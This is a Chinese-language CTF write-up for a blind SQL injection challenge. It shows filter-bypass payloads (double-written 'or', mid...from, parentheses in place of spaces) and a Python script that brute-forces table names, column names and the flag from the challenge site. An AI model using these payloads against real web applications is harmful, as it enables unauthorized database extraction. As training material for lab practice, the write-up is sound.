實驗吧——認真一點（繞過空格，逗號，關鍵字過濾等 sql盲注）

題目地址：http://ctf5.shiyanbar.com/web/earnest/index.php

過濾和攔截了某些東西，我經過多次嘗試，最終構造的是

1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)='1

其中過濾了一次or，所以information里的or要雙寫，substr中有逗號，所以mid代替，空格則用括號代替，/**/注釋符不行是因為服務器過濾了*

 

服務器的sql查詢當且僅當返回只一條數據時才回顯you are in

(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)

的值要么為假0，要么為真1，由此便可猜解

 

 

寫了個python腳本

（腳本中的爆破方法是一個個字符進行比對，其實為了提高效率可以寫二分法，簡便點就用這個方法，還有本來我的字符集只有字母數字下划線和逗號，但是猜解列名的時候發現不完整，所以手動判斷了下（id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from(3)))=36)='1&submit=），第三位是$這個字符，才在字符集里加了這個，遇見問題要靈活判斷，當然這也是因為我腳本寫的爛 /笑哭）

 

# -*- coding: utf-8 -*-
import requests

strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

url='http://ctf5.shiyanbar.com/web/earnest/index.php'

headers={
    'Content-Type': 'application/x-www-form-urlencoded'
}

#fiag
def func1():
    result=''
    for index in range(1,1000):
        for i in strall:
            data="id=1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})='1&submit=".format(str(index),str(ord(i)))
            print data
            r=requests.post(url=url,data=data,headers=headers)
            if r.text.find('You are in') >=0:
                result+=i
                print result
                break
            elif i=='9':
                print result
                return

#fL$4G
def func2():
    result=''
    for index in range(1,1000):
        for i in strall:
            data="id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from({})))={})='1&submit=".format(str(index),str(ord(i)))
            print data
            r=requests.post(url=url,data=data,headers=headers)
            if r.text.find('You are in') >=0:
                result+=i
                print result
                break
            elif i=='9':
                print result
                return


def func3():
    result=''
    for index in range(1,1000):
        for i in strall:
            data="id=1'=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})='1&submit=".format(str(index),str(ord(i)))
            print data
            r=requests.post(url=url,data=data,headers=headers)
            if r.text.find('You are in') >=0:
                result+=i
                print result
                break
            elif i=='9':
                print result
                return



#func1()
#func2()
func3()


raw_input('done')

 

 

網站訪問速度慢點話，猜解這個是真的慢！！！

還是建議寫二分法！！！